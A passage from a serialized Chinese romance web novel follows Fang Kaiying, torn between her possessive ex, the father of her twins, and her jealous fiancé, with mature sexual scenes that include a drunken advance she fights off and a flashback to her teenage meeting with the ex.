“这就是国家给你分配的人才房吗?!太夸张了吧!怪不得你要回国啊方楷莹!”安妮激动地恨不能现在就回国和好姐妹共享荣华富贵。 方楷莹有点儿尴尬,“不,不是。” “嗯?”安妮困惑:“那你大半夜在哪儿?” “我在”她难以启齿:“我的孩子家。” 她和安妮合租的那段时间,安妮总想给她介绍男朋友,她拒绝了几次,最后明确告诉她自己的情况。 她们越来越熟,安妮也越来越了解她,知道她曾有过一段特别惨烈的感情,而不知其名的男主角在安妮口中有个特别代号。 “那么生病的不是汪先生,”安妮逐渐兴奋,挑眉弄眼,“而是……” 心电感应越过大洋,方楷莹立刻就知道她想说什么,连忙阻止她再说下去,“别说那个,别说那个!” “MR.YUMMY!”(美味先生) 方楷莹扶额叹气,感觉羞耻极了。 这代号起源于“叫.床事变”之后,那时大卫怕她,安妮却爱死她了。 跨年夜安妮的家人寄来正宗重庆火锅底料,方楷莹买了菜肉啤酒,两个身在异乡的姑娘在家里支起火锅,也能过一个红火的新年。 方楷莹很少吃辣,被牛油火锅辣得流汗伸舌头,安妮喝醉后没完没了地笑她。 安妮提起“叫.床事变”,突然凑近她,神秘又肯定地说:“你一定听过好听的。” “你说什么?”方楷莹不解。 “还记得那次你让我吃点儿好的嘛?”安妮倚着方楷莹的肩膀,醉中憨笑,说:“我当时就知道你这家伙一定吃过好的。” 方楷莹虽然也喝了点儿酒,但还没到胡说乱说的程度,她摇头否认,脸色酡红。 “没有?那你的双胞胎怎么生出来的?那男人一定很强,这么大?还是这么大?还是这样?” 安妮不依不饶,伸出两手在空中比比划划,先是双手拇指尖儿相对在一起,后又食指,最后中指。 方楷莹在最接近尺寸的距离,蛮力折回她的中指,“你喝多了。” 安妮已经沉浸在自己的幻想里不知天地为何物了,非得让方楷莹形容一下这男人,哪怕不是涉及隐私的床上表现也好,她实在太好奇了,什么样的男人会爱方楷莹,又能让方楷莹爱上他。 方楷莹想了想,指向面前翻滚红油的火锅,说:“他像这个。” 辛辣、刺激、会产生强烈痛感。 “嗯~”安妮对火锅有着不一样的理解,捞起一片牛肉陶醉其中,贼兮兮地笑说:“MR.YUMMY。” 方楷莹:“” 这个代号现在听来让人脸红羞耻,毕竟MR.YUMMY本人正在隔壁发烧。 “别说了。”方楷莹迫切需要转移话题,“你最近怎么样?” 安妮正在实验室无聊,方楷莹问最近怎么样,无非就是曾经共同供职的研究所怎么样,曾经她们之间聊最多的话题也就工作和研究。 “还就那样,玛丽女士最近更年期大爆发,训我像训狗似的,上周她让我回家做家庭主妇,我每天晚上回来都得在大卫怀里哭一场。莹莹,你回国是对的,我现在越来越觉得她就是觉得你锋芒过盛,想要逼你走!” 安妮轻叹口气,方楷莹也跟着叹息。 但她觉得玛丽女士不会忮忌年轻人。 玛丽女士是美籍华裔,在学术界很有声誉,是诺贝尔奖的有力竞争者。她很喜欢方楷莹,曾经。 她说方楷莹脑袋灵活情绪稳定,是天生搞科研的人才。方楷莹也从心里敬重她,为了得到当她门下博士的机会不惜“抛夫弃子”。 可近一年来她们总是因为各种事情起争执,方楷莹心直口快,玛丽女士更是如此,从最初“看到你就是看到年轻的我”到后来“这个老板要不要我让给你当?”,矛盾将要不可调和,方楷莹确实在这个研究中心混不下去了,又恰巧遇到人才归国的邀请,她仅用了一晚就决定回国。 回国前一晚,她去研究中心收拾东西,见到玛丽女士还没走,踌躇上前,想与她告别,方楷莹也是那时发现玛丽女士即便发间已经布满银丝,但后背依然挺直。 方楷莹还没开口,仅仅是站在她身后,她就知道是谁。 “go away.”她声音冷淡地说,甚至没有回头,方楷莹却从那声音里听出一种苍凉。 直到现在,她想起来还是不能忘怀。 虽然她们有过矛盾,但平心而论,她教会她的更多,方楷莹不能跟着别人说她的坏话。 干脆沉默,叹息。 安妮还在那边大吐苦水:“有小道消息,实验室最近有大资金正在撤退,说也奇怪,你走之前还有一个远征集团的大老板打算投资,看起来投资意愿非常强烈,你走之后那边的投资竟然也没音讯了。我就说嘛,玛丽女士把招财猫逼走了。” “拉投资做项目哪有那么简单,”方楷莹有点儿困,打了个哈欠,“要不你也回国吧,国内科技发展很快,投入很大,环境也不错。” “我倒是想回去,谁请我回去呀?”安妮吐吐舌头,“我要是你这样的天才,去哪里都有人抢,我也觉得大环境好。” 方楷莹笑了,“那你回来,我要你。” “自己当老板就是不一样!”安妮伸出大拇指,笑着说:“我再考虑考虑吧,毕竟大卫还在这边,他又不像汪先生,能抛下一切跟你回国。欸,汪先生知道你在YUMMY家住吗?” “他”方楷莹突然想到出差的汪先生,拿起手机看聊天记录,依然停在她发出那张照片后,“他出差了,可能一直在忙。” 方楷莹不知道的是,在她给孩子念故事的时刻,汪先生的飞机落地,在她为甄世明敷上冰袋的时刻,汪先生提着行李箱打开家门,在她与安妮相谈甚欢的时刻,汪先生独坐沙发,灯暗了整夜。 作者有话说:《 》 第20章【VIP】 第20章 翌日上午, 太阳高挂。 方楷莹在松软的床上醒来伸懒腰,昨晚实在太累,她照顾一大两小, 又和安妮聊到深夜, 连自己什么时候睡着都不知道。 罕见地,做梦梦到了汪先生。梦中汪先生给她带回芝士蛋糕, 她喜欢的东西不多, 汪先生每每出差都会去当地探店,带最好的回来。 微信聊天记录依然止步于那张照片。 【什么时候回来?】 方楷莹发出信息,却没得到回复。 她懒懒起床, 甄世明和孩子们的房间门敞开着, 他人已经在健身房有一会儿了。 下楼去餐厅觅食, 发现洗碗机正在运转,一大两小的碗碟, 她猫着腰看,甄世明在身后轻咳一声, 她立刻腰板挺直, 抓着脖颈眼神四处乱飘,就是不落在他身上。 昨晚睡在这儿已经让方楷莹觉得尴尬极了, 今天又起晚错过了送孩子去幼儿园的时间。 “橙橙和芯芯” “送幼儿园了, ”他扬眉, 神清气爽的状态让人怀疑昨晚高烧不退的人究竟是不是他,“晚上我会去接。” “哦。” 她靠着岛台, 眼光在到处搜寻自己的包包, 想着怎么能不声不响拎包而逃,缓缓往大门口挪,甄世明却拦在她面前, 像是早知道她要逃,下巴微扬,说:“吃完早餐再走。” 牛油果虾仁三明治,牛奶溏心蛋,甄橙和甄芯的上学日早餐,甄世明顺手也给她做了一份。 “谢谢。”方楷莹道谢,以显示可以和甄世明从从容容游刃有余的相处,也在极力与昨晚说不清道不明的暧昧分割。 甄世明低头哂笑,说话嗓音依然微沉,“我谢你才对,没有你贴身照顾,我也不会好得这么快。不过,我也不是‘大恩无以为报只能以身相许’那种人,不用怕我赖上你。” 小心思被戳穿的方楷莹低头老老实实吃饭,咕哝一句:“没有说你会赖上我的意思~” 甄世明支着下巴,静静看她埋头吃饭的模样,那眼神含着一种异样的慈悲。 方楷莹觉出不对劲儿,甄世明只有在算计人的时候才会露出这种慈悲目光,来遮盖心里的恶念。 她咽下牛奶,问:“你给我下毒了?” 他微笑着摇头。方楷莹简直受不了这种眼神,好像下一秒她的身份就应该是被害人方某莹。 “你你你有话快说。” 甄世明挑起的唇角藏着狡黠,眼睛轻轻一眨就有百来个坏主意,不急不缓地说:“方教授,汪先生的外地考察提前结束,定了昨天晚上回城的机票,你昨晚在这儿住汪先生他不会生气吧?” 什么? 方楷莹眉头攒起,拿出手机再次查看,未婚夫根本没给她发过航班号。 甄世明一副胸有成算的鬼样子,抿了一口香气四溢的绿茶,摇头叹息,好像真的在为她和汪先生的关系担忧。 “看来你并不知道汪先生昨天回来。这可怎么办,还没结婚就这样,你们之间早有问题。” “作为你的前任,我奉劝你一句,就你未婚夫这种以后出轨最狠了,在你身上找不到被崇拜的感觉,会去别的女人身上找。” 甄世明双手抱臂倚着靠背,看热闹不嫌事儿大的样子格外欠揍,方楷莹一边瞪着他,一边把牛奶吨吨吨喝完,玻璃杯重重一放,没好气地回道:“我相信他,他也会相信我,就算有什么问题我们也会平静地谈妥,他情绪很稳定,起码不会无理取闹,更不会鬼哭狼嚎。” 甄世明的眼眸在热茶气中晦涩,后槽牙咬得咯咯作响,“谁无理取闹?谁鬼哭狼嚎?你会不会用词?!” 方楷莹不言语。 看起来他确实康复了, 可以生龙活虎找茬吵架了。 她起身提包就走。 “你去哪儿?” “回家!” 甄世明没拦住她纠缠下去,独自摁住脾气,状似情绪稳定地扭脸,冷眼看着远去的身影- “你去哪儿了?” 方楷莹回到家,面临相同的问题。 房间里窗帘未开,阳光透不进来。汪先生独坐沙发,眼底是淡青的颜色,看似一夜没睡。 方楷莹一直感觉他和甄世明之间有点儿相似处,但总说不上来是什么,有时她自己也怀疑是看错,毕竟一个温柔似水,一个暴跳如雷。 现在看到汪先生脸上沉抑的表情,她忽然回过味儿来。人皱眉时眉头压住眼角,眼角变成一个尖锐的弧度,那个弧度里藏着最细腻的感情,他们都曾用这样忧伤的眼睛看她。 “甄世明生病了,孩子没人照顾,我在…照顾孩子。” “只照顾了孩子吗?”他轻轻叹气。 “……也照顾甄世明了,他发烧很严重,我总不能见死不救吧。” “为什么不能?” 方楷莹微怔,没想过汪先生会如此发问,一时不知如何回答。 “实验室爆炸你都能置身事外,甄世明发烧你为什么不能见死不救?你在乎他。”他没有在问,最后是心痛的陈述句。 他一直认为自己不是个善妒的男人,可他错了。 假如方楷莹继续骗他,咬死说自己只照顾了孩子,他也愿意违背事实地相信她,但她不常说谎,不懂怎么圆好一个故事,就如同现在,方楷莹没有反驳他,只是沉默。 “他是我孩子的爸爸。” 又回到妈妈爸爸的话题,汪先生觉得这仿佛是一个死局。甄世明不能停止骚扰,因为她是孩子的妈妈,方楷莹不能停止关心,因为他是孩子的爸爸。 “那么,我呢?”他轻声问。 他只能这么可怜地看着她,用极轻的声音问她,好像声音大一点点就会把脆弱的感情戳破,他不能像甄世明那样理直气壮地让她二选一,他既没有筹码也没有勇气。 可他是她的未婚夫,应该是最理直气壮的人,不是吗?他不知道哪里出了错,或许甄美丽说的不无道理,和她在一起生活迟早会被逼疯。 现在他卑微到这个份上,方楷莹依然一言不发。 她承认自己是一个自私的人,当初在国外本来没有想要开始新感情,但汪先生是上得厅堂下得厨房的贤夫,做中国菜尤其好吃,狠狠抓住她的胃。 在生活上她很依赖他,他也把她照顾得很好,时间一长,让她有种理所应当的感觉,甚至有时候觉得汪先生是她的“妈妈”。 这种错位的亲密关系一直进行到现在,当这个人突然开始要求情感回报时,她茫然无措。 “我们不是一直很好吗?” “我们很好吗?”恐怕只有她一个人觉得好,汪先生沉沉叹气:“自从那天见到甄世明之后,你就和从前不一样了,难道你自己没有察觉吗?” 方楷莹摇头。 “你开始变得慌张。”他平缓地诉说,“我认识的方楷莹从来不会慌张,从来不会对谁表现出过分激动的情绪。可你想想,我说要到甄世明公司任职时你什么样?我加班在办公室见你时你什么样?现在你什么样?” “现在我什么样?” “你对我说谎。” “我什么时候?” “进门第一句话。” 他问她去了哪儿,她说照顾孩子。 方楷莹:“……” 汪先生见她长久不说话,又问:“我走时候拜托你的事做了吗?联系过酒店的婚礼策划吗?” 方楷莹:“……” 该死,她把这件事完全忘了。 他眼里满是失望,又认命般叹气:“我本来约了酒店的策划下午一起讨论方案,不管怎么样,一起去一趟吧。” “好。我先去实验室,下午回来接你。” 当她发现自己无法面对这一系列的质问时,她就想躲避,匆匆忙忙换件衣服,穿鞋时却发现鞋柜上的蛋糕盒子,里面是轻盈柔软的乳酪芝士蛋糕。 — 压倒骆驼的最后一根稻草,是方楷莹根本无法找到那本婚礼手册。 她和汪先生驾车去往婚礼策划中心,一路上两人各自沉默。 汪先生坐副驾驶,用消毒湿巾擦过车窗一角,那里有甄世明特意留下的指印。 车停下,方楷莹开始在车上到处翻找。 明明记得就放在车上,储物箱里,橙橙还拿来看过。 “谁还上过你的车?”汪先生脸色并不自然,温柔的声线压着愠怒,“好好想想。” 方楷莹猛地想起甄世明在她车里过夜,立刻就能确定罪魁祸首。 她趴在方向盘上发愣,未婚夫致电酒店策划取消了会面。 这一切都让他觉得可笑至极。 “能找回来么?”汪先生面容依然平静,尾音格外无力。 方楷莹知道那手册对汪先生来说很重要,她向他保证:“我能找回来。” 汪先生没再追问下去,也无法再和方楷莹呆在一起,他真正想问的问题,想发的火,都会伤到她。 他一言不发下车,摔门的重重响声暴露了心境。 方楷莹默默看着汪先生远走的背影,忽然发觉她很少看到过这样的背影,出门时他们总是一前一后,她走在前面,他跟在身后。 从来都不是并肩牵手的亲密爱人。 她晃了晃神,就一头扎进眼前丢失婚礼手册的问题中。 恰逢这时,甄世明好死不死地来了电话,方楷莹狠狠按下接听键。 “怕你担心我,”甄世明语气闲散地说:“打个电话告诉你,我彻底退烧了。” 方楷莹直截了当地问:“是不是你偷了我的婚礼手册?” “你怎么说话呢?那不能叫偷,我只是想拿来欣赏欣赏,或许再给点儿建设性的意见,说实话,那婚礼手册做得真丑死了。” 方楷莹一个白眼翻上去,“我们下午本来约好了酒店策划,现在放了人家鸽子,一下午的时间都没能按照计划度过。” “哦?”他故作惊讶,骨节分明的手指翻着纯白色的手册,“这就有意思了,亲手做的手册不重要,你一下午的计划很重要?” 甄世明竟有些庆幸。 谁和她结婚,都会被气得英年早逝吧? “方楷莹,汪先生的心思太细腻了。我客观来讲,他不适合你,要么会被你欺负死,要么老实人逼急了什么事儿都能做得出来。对了,我教你的防身术你后来还有练吗?听保镖说你练得挺好,需不需要我再派人保护你啊?” 方楷莹:“不需要,我现在需要的是婚礼手册,你方便的话给我同城快送——” “不方便。”甄世明淡淡说。 “我过去拿。”方楷莹说罢挂断电话。 甄世明松弛地瘫在沙发,芯芯在一旁帮他掖上薄毯子,他很有兴致陪孩子玩“照顾病人”的游戏,一手轻轻落在橙橙的头顶,揉乱小孩柔顺的头发,眼中荡漾着宠溺笑意。 橙橙手拿画笔认真作画,甄世明歪头看着,不住夸赞。 “橙橙画得真好。” “方阿姨看到一定很开心。”《 》 20-30 第21章 临近黄昏, 晚霞与天空让方楷莹想起科莫多岛的粉色沙滩,同样的红粉环抱着蓝,柔和斑斓。 可她的心情跟那时完全不一样, 当时她和甄世明是以情侣身份去的, 路上虽然吵小架,但心里甜蜜, 现在迎着这样的晚霞, 她更像是去见仇人,分外眼红。 她压根没进门,打电话命令甄世明给她送出来, 这件事本来就是他错了, 她才不要巴巴进门听他冷嘲热讽。 甄世明不搭理她, 她也倔,心一狠连孩子也不用见了, 就在外面等着,足足等了二十分钟, 冻得脸颊苍白鼻尖泛红。 天快黑下来, 甄世明出来了。 犟不过她。 他一手拿着婚礼手册,一手拿条厚围巾, 上下打量她一眼, 随意说道:“就穿这么点儿?” 方楷莹把婚礼手册从他手里狠拽过来, 转头就走,话都不说。 “这狗脾气”甄世明攥紧手里的围巾- 方楷莹拿着婚礼手册回家, 进门天已经彻底黑下来了, 但家里的灯没人打开。 汪先生不知道去了哪里。 她给汪先生发了一条微信。 【婚礼手册拿回来了。】 【图片】 汪先生迟迟没回,她自己打开冰箱,把他走时留下的小馄饨煮了, 又把芝士蛋糕吃掉,亲手包的海鲜馄饨吃起来格外鲜嫩,芝士蛋糕口感绵密,胃里也软软暖暖的。 吃过饭,她看了会儿书,房门一直开着,好让她能听到汪先生进门的动静。 昨夜睡得太晚,她的书看了一半就睡着了。 — 汪先生在婚礼策划中心生了气,走在冷风里却不知道该向谁诉说,他是和方楷莹回国的,这边没有什么朋友,本来就孤独。如果说新交了什么朋友,甄美丽勉强算一个。 甄美丽带他去了清酒吧。 酒吧装修很有小资情调,灯光明暗交错,音乐靡靡动听,甄美丽往慵懒沙发一靠,灯下美人更娇媚几分。 汪先生一心求醉,菜单都是一排排点,甄美丽也有舍命陪君的豪气。 酒渐上头,甄美丽支着下巴,眼神迷离看着他,都是成年人,一对眼神都懂。 “我真挺喜欢你的。”她凑近点儿。 “看出来了。”他稍稍后撤。 “其实第一次见到你,我就觉得你是hot nerd那种类型,我没试过这种,一直想试试。”甄美丽脸颊微粉,红唇缓动,“这次出差你没带避孕套,我带了,但你是个正人君子,不给我机会,我哥也不允许我睡你。” “甄世明还管你睡谁吗?” “他说不让我把事情搞复杂。” 汪先生笑了笑,“我们孤男寡女出差,擦枪走火出轨,这应该是他最希望看到的。” 甄美丽摇摇手指,不认同他的说法,“你把甄世明想得太简单了,这种是最低级的玩儿法,你出轨,受伤的是方楷莹,虽然甄世明特恨方楷莹,但他不会让方楷莹被除他以外的男人伤害。” 汪先生闷闷喝了一整杯伏特加,手指转着杯沿,牵起唇角勉强一笑,说:“你们京市人管这种想法叫做恨吗?” “不清楚。”甄美丽大无所谓说:“他们两个之间恐怕他们自己都说不清楚。” 汪先生默默喝酒,不再说话。 倒是甄美丽喝多之后话也多,她向汪先生讲起小时候第一次去甄家的情景。 她是远亲,由爸爸妈妈带着去。 那是一个庄园式的房子,门口当班的保卫员有四个,那一道大门她印象最深,后来她也再没见过那么高的门,门顶需要仰起头才能看到。 她那时年纪小个子小,站在门前仰起头,只能看到半个太阳,那道门给她一种太阳藏在里面的错觉,而爸爸妈妈牵着她的手站在外面。 甄美丽说她后来看红楼梦,刘姥姥进大观园那段让她共情得哭了。 “太渺小了,你、我、我们。” 她喝酒喝得鼻酸,擤擤鼻子,感慨万千:“我从小住在甄家,那里像我们这样的孩子有很多,家里人送过去,选好的留下。一边享受好资源,一边陪着大小姐。” “我当时的任务是陪甄宝珠上学。宝珠挺好的,但那种好就像是大人往你手里放个大苹果,你得捧着双手接,青春期自尊心最强的时候,我就在甄家当陪读。” “甄世明不好,脾气大,谁都怕他,不高兴的时候大家都战战兢兢躲着,他好像从小就知道这些人是得围着他转的,所以在家里称王称霸。” 她突然想起什么,把口里的苦酒呸进酒杯,说:“你都不知道我被调成什么样了,看到方楷莹打甄世明的时候,我竟然下意识就是要保护他,但是吧,回去我心里一想,觉得真爽!可算有人能治得了他!” 甄美丽真的喝多了,胡说乱说,什么都说,汪先生却拧眉沉默。 “我从来没见过方楷莹打人。” “你没见过的多了去了。”甄美丽盘着手臂瘫在沙发,撇嘴说道:“她打我哥那次,是他应酬喝多了,我挽着胳膊送他回去,那方楷莹,跟狗护食似的,上来就把我手扯开了,连衬衫边儿都不能碰!你能想象那个画面吗??” 汪先生:“……不能。” 他口中的酒越喝越苦,苦连着心肝脾肺,把他彻底灌醉,但他记得甄美丽最后那句掏心挖肺的忠告。 “别想抢甄世明的东西。” “捞点儿好处,撤吧。”- 方楷莹做了半个梦。 梦到那次甄世明应酬喝醉后,她扇了甄世明几个耳光,自己坐在床边抿着唇生气。 甄世明带着满身酒气,推开她的门,就倚在门边儿,红着半张脸于暗处看她。 “解气么?” 她抚摸肚子,闭眼感受着及其细微的胎动,并不想理他。 他走近,人半跪在她面前也显得身材高大,只能勉强与之平视。他一手撑着床沿,一手覆在她的手上,和她一起感受胎儿的心跳。 她挪开手想要放在背后,手腕被甄世明拽住,拉近把手贴在发烫的脸颊,她要抽手挣扎,却被他紧紧摁着,动作非常强势。 她一疼一皱眉,甄世明又收回锋利的爪牙,把打疼的手心亲了又亲,她还是闷着不讲话,甄世明抿唇,粗重的叹息像一只败犬吁喘。 “生下来,行么?” “算我求你。” 方楷莹咬紧牙关不松口,他眼睫低垂,反复亲吻手心,下巴新长的青茬蹭过手腕,磨着她说出个只字片语。 “我还想读博士。” 她沉默几天,终于说话了。 “又没说不让你读。”他抬手捏捏方楷莹的脸,用怜惜慈悲的眼神看着她。 “医生说是双胞胎,我想要。” “我现在已经开始干正事了。” “以后我养你,养孩子。” “咱俩好好的。” 喝醉酒之后的甄世明把姿态放得极低,这些话在心里想了好久,清醒的时候说不出来,也跪不下去。 方楷莹终于点头答应。 他面露喜色,一双深情眼满含爱怜地望着她,带有热温的手伸到柔软的耳骨边缘轻揉,手臂顺势压在肩头,将她按倒在床上,压着她,长久地看着她。吻落在鼻尖,她推得没心没力,声音也黏黏糊糊。 “一身酒气。” “红酒,你尝尝?” 舌尖抵住唇,她紧闭,他短笑了下,灼烈的呼吸撞开心门,闭上眼,唇微张,不用强攻就进入,不是她尝酒,而是他尝她,细细搅动着尝,有滋有味地尝。舌尖被他吸紧,敢向后退一点儿就吮住轻咬,只能不断回应,任他勾缠,吻得眼角湿润,静水流深。 记忆中甄世明浅尝辄止,但在梦里他的掌心落在心口,温柔至极,她绞紧双腿,却很难抵抗,任由心中潮水起伏,漫过指尖。 朦胧眼中月朦胧,柔光如薄纱遮住眼睛,她眉头微紧,发出细碎的嘤吟。 他却更过分,俯身吮吸地声音听得脸烧红,手不自觉伸下去抓他的头发,却被轻轻反扣,掌心温暖柔厚,手指触感温润,动作也柔缓温情,像云朵埋进皮肤里。 真奇怪,梦中一切都柔软。 她沉在绵软的云里,缓缓摸到月亮上去。月亮泻出的白光像汁水溅湿云朵,她轻喘将歇,身体似被云朵轻飘飘托起。 温柔的吻又落在鼻尖,手指轻轻插进发鬓,额头抵着额头,气音低低沉沉传入一双软唇。 “我们的宝宝一定很可爱。” “比甄世明的孩子更可爱。” 作者有话说:汪先生:我从来没见过方楷莹打人。 方楷莹:你想见见吗?(真诚脸) 第22章 方楷莹猛睁开眼。 明亮白炽的灯光晃眼, 湿润眼角积蓄着眼泪,一睁眼流入发鬓。 她双手使力,推开轻压在身上的男人, 翻身坐起, 两条光腿收紧蜷回被窝,后背紧紧靠着床头。 刚挂在脚踝的内裤遗留在外。 汪先生的白衬衫松开两道扣, 领口被水迹浸湿, 他舔舔唇,看着方楷莹漂亮的锁骨,那里有被他吮出的淡色红痕。 “你喝酒了?”她哑着声问。 “嗯。”他目光迷离涣散, 点头的动作也很迟钝。 方楷莹发觉自己声哑, 估摸着是刚才在情梦中哑了嗓, 有点不好意思,“喝水吗?我给你倒。” 她急匆匆伸腿探到床下的拖鞋, 刚从床上站起来,就被一条手臂拦腰按倒。 “刚喝过。”他轻舔唇角, 喉结缓动, 咽下回味,沉甸甸的目光定在她脸上, 拉起她的手, 放在身下湿透的床单, “还洒了不少。” 以前他从来不说这样调情的话,以为方楷莹不会喜欢。 安妮给他讲过“叫.床事变”的故事, 他却对自己也没什么自信, 怕她反感,每次就连喘都很克制,同样的, 他也从未见过方楷莹今天这样的状态,纵情的、娇媚的、活色生香的。 如果她没在最后时刻念出那个名字,今晚应该是浓情蜜意的一晚。 她念得不真切,含含糊糊。 但他听清楚了。 即便如此,他也愿意把一切都进行下去,甚至觉得她最好不要醒,就把他当做那个人,给他更多的怜爱和纵容。 现在她醒了,回避着他的注视。 “你别这样,我不想。” “他可以这样吗?” 忌妒的种子在酒精灌溉下疯狂生长,紧紧缠着心脏,他扯开衬衫扣子,双手按住方楷莹的膝盖用力分开,揽住膝窝将一双腿禁锢在臂中。 “我对你太温柔了,是吗?” “其实你不喜欢这样,喜欢甄世明那样吗?他是怎么弄的,你告诉我,我可以学!” 方楷莹从未见过汪先生如此发狠的一面,他本是温柔和善的人,做不了强硬的事,就连现在勃然发怒,也要把她的腰往床上提一下,免得她失去重心摔在地板上。 哪知方楷莹抬手便扇在脸上,又一脚踹在心口,毫不留情的冲击力让他撞到衣柜边棱,尖锐的痛感从后背蔓延到胸腔,他整个人靠着衣柜,一滩烂泥般滑坐在地。 他从来没见过方楷莹这样,她胸腔鼓鼓,鼻翼翕动,脸色比平时还要无情,他的酒醒了一半,良知逐渐回笼。 仰视着她,看得太久脖子会累,眼睛会疼,他摘下眼镜扔在地上,双手用力搓搓脸,呼叹出灼烈的酒气。 “对不起,我” “你应该觉得对不起。”方楷莹把脸扭开,迅速穿好衣服,用手指梳顺乱七八糟的头发,说:“我不喜欢你这样。” 汪先生沉默垂头。 “我去给你倒水。” 她不想和他待在一起,去厨房热水,手放在冰凉的台面,手指没有节奏的敲动着,反复在想他说的那些话,心里有种莫名的烦躁感。 忽然听到卫生间里有呕吐的声音,过去查看,汪先生刚吐完一次,正往嘴里灌漱口水,见她站在门口,红着眼圈把门一关。 方楷莹:“” 他们之间的相处一直保持着体面和客气,谁都不想让谁看到窘态,今晚,确实都逾越了。 她回到卧室,捡起地上扔着的眼镜,用湿巾擦干净,放回到床头上,想等他吐好了再还给他。 外面迟迟没有声响,方楷莹又有点儿担心,穿着拖鞋啪嗒啪嗒走出去。 未婚夫站在鞋柜旁,一手撑着摇晃的身体,一手翻看纯白色的婚礼手册。 里面夹着一张儿童的油画,标题是大人的字体,字形张扬锋锐,力透纸背。 【我们一家】 浅黄的落日铺成底色,圣瓦西里教堂在画卷正中,拜占庭式的建筑融合了巴洛克元素,多巴胺配色像彩色糖果跃然纸上,能看得出画画的孩子色彩感觉敏锐,天赋极佳。 但汪先生注意到的,是教堂前并排牵手的一家四口,他不懂画,却很懂甄世明是什么意思。 仅仅是在开会时故意露出吻痕暗暗宣誓主权,就能引来甄世明一连串的疯狂反击,他不仅记仇还很会报仇。 他已经领教了甄世明的手段,重要的是,他看到了甄世明这一系列操作背后的逻辑。 他不想让方楷莹结婚。 不管是出于未了的爱,还是源自被抛弃的恨,只要他们在甄世明的视线之内,方楷莹就不能顺利结婚。 汪先生垂头丧气地看着,把画抽出,从中间撕开,撕到一半却被方楷莹抢了过去。 不需要任何言语,她的行动说明一切。 他看着自己的婚礼手册,突然觉得一切都是巨大的笑话,别人有没有笑过他他不知道,他自己先沉闷地笑了一声。 “楷莹,如果我现在问你,你还想要平淡的生活和恋人吗,你会怎么回答?” 方楷莹知道平淡的生活和恋人象征着汪先生,但她现在看着他的脸,再也无法把平静安好和他画上等号。 “我不知道。” 她心里很乱。 汪先生点点头,酒醒了。 他合上婚礼手册,抱在怀里,对方楷莹说:“今晚的事我很抱歉。” 说罢,径直走进卧室,关上了门。 — 今晚的一切都突如其来。 她睡不着。 坐在书桌前,手边是那张被撕成两半的画,她借着凌晨的灯光用心粘好。 橙橙画人像很会抓特征。爸爸唇上的伤痕,方楷莹细弯的柳叶眉,橙橙手里握一枚橙子,芯芯的裤子上画满红色小爱心。 方楷莹认真欣赏一番,心情才平静下来,又拿出情绪手册,找到心理医生的名片,拨电话过去。 “我的感情生活出现了一些问题。” — 再次来到赵医生的治疗室。 方楷莹还是选择坐在角落靠墙的小沙发,她主动来的次数少,小时候都是妈妈陪着来,以前在外地不好总来,搬到京市以后她倒开始主动来了。 赵医生还记得她第一次主动来,怀里抱着情绪手册,脸上的表情仿佛发生了天大的事,翻来情绪手册给她看,上面两行字。 【害怕——甄世明】 【心里咕咚咕咚——甄世明】 十七岁的方楷莹天真地问:“我百度过,这是心律不齐,赵医生,能不能给我做个心电图?” 她把前因后果讲给赵医生听,很老实地没有漏掉任何一个细节,仅仅是和甄世明两次见面的情形,她就讲了半个小时。 赵医生笑笑,从前都是听方楷莹妈妈说病情,这小姑娘就抱着靠枕看着窗户走神,从没见过她说这么多话。 “现在有两种可能,一种可能是你确实喜欢这个男孩,一种可能是危险情景让你产生了心动的错觉,专业术语叫做吊桥效应,我更偏向于后者,你认为呢?” “后者!” 方楷莹很肯定,因为她喜欢的人只有妈妈和弟弟,原因也很简单,他们对她好,而甄世明根本对她不好,她怎么会喜欢? “我的建议是我们可以利用吊桥效应,作为一种治疗方向,如果这样的刺激会让你感受到更丰富的情绪,不妨试试过山车这样的游戏项目,或者多跟这个男孩接触一下。” 方楷莹听得直摇头。 她再也不想见甄世明了。 然而删除视频后没过多久,他们就再次见面了。 起因是方楷杰为了和甄宝珠约会,半夜爬上甄宝珠的卧室,结果从二楼上摔了下来,他摔断了腿和胳膊,却在医院住院时就被警察找上门。 甄家告他非法侵入住宅。 “这件事情很难处理,孩子已经满十六岁,对方很懂法,说造成了严重的精神损害,会被认定为情节严重,一旦定罪,最高三年有期徒刑或者拘役,孩子还这么小,最好是争取和解,赔偿损失。” 方楷莹在病房门口偷偷听到律师和方霞谈话,妈妈在外面泣不成声,但回到病房前就把眼泪抹干净,打了热水给方楷杰擦脸,一句重话都没骂。 方楷莹和妈妈一起坐公交回家取钱,方霞一直望着窗外发呆,再回头又是满脸泪水,从包里拿出纸巾摁在脸上。 回到家里方霞收拾了方楷杰的枕巾和床单,胡乱包成一大裹装进袋子里,让方楷莹抱着。 方楷莹怀抱着鼓鼓囊囊的大袋子,小尾巴似的跟在妈妈身后,方霞去厨房收拾饭盒,又从床垫底下摸出几张银行卡,方楷莹一直跟着,在屋子里转来转去。 “你先放下,我们还不回医院去。” 方楷莹低着头,松开抿紧的嘴唇,小声说:“妈妈,我认识甄宝珠。” 方霞停住动作,问:“你怎么认识她的?” 方楷莹没回答她的问题,还死守着方楷杰的恋爱秘密,不知大人一眼就明白怎么回事。 她只回答说:“我们是同龄人,我可以先试着跟她谈谈。” “不用你管,你别添乱。”方霞叹口气,说:“我先跟她家长谈谈,看多少赔偿能够,已经要到她爸的联系方式了。” 方霞摸了摸口袋,里面有甄家留的联系电话,律师写在纸条上,而方楷莹在妈妈出去给方楷杰打饭时,偷偷从外衣里摸出纸条。 打开一看,果然。 【甄世明】- 方楷莹又一次和甄世明见面。 她站在高高的门外,由西装革履的大人领进去,带到露天泳池边儿。 年轻人在开夏日派对,她仿佛误入另一个世界。 泳池碧蓝,水波清澈,音乐声震耳欲聋,一群男孩女孩在池中嬉闹,女孩们面容姣好,青春洋溢,穿布料很少的泳装,男孩们也光着半身,身材高大结实,到处散发着男性荷尔蒙。 几个男孩怪闹着把坐在充气气垫拍照的女孩掀翻入水,尖尖的叫笑声此起彼伏。 方楷莹站在那里手足无措,对旁边的大人说:“叔叔,我找甄宝珠。” 大人偏了偏头,她顺着目光看去。 躺椅上睡着一位。 穿一条黑色沙滩裤,小腿修长,大腿肌肉线条明晰,一直延伸到窄腰腹肌处。方框黑墨镜把五官衬得更立体,皮肤更白,湿发向后倒着,露出形状完美的发际。 他的手懒懒搭着,握一羊脂白的玉把件,刚得的,手感冰凉细腻,甄世明喜欢得很。 方楷莹看了一会儿,扭头又对大人说:“叔叔,我找甄宝珠。” 即便她声音很小,甄世明也听到了,半坐起身,懒懒一指泳池,饶有兴致地问:“你看哪个是甄宝珠?” 她哪里认识甄宝珠? 站着不动,看着他。 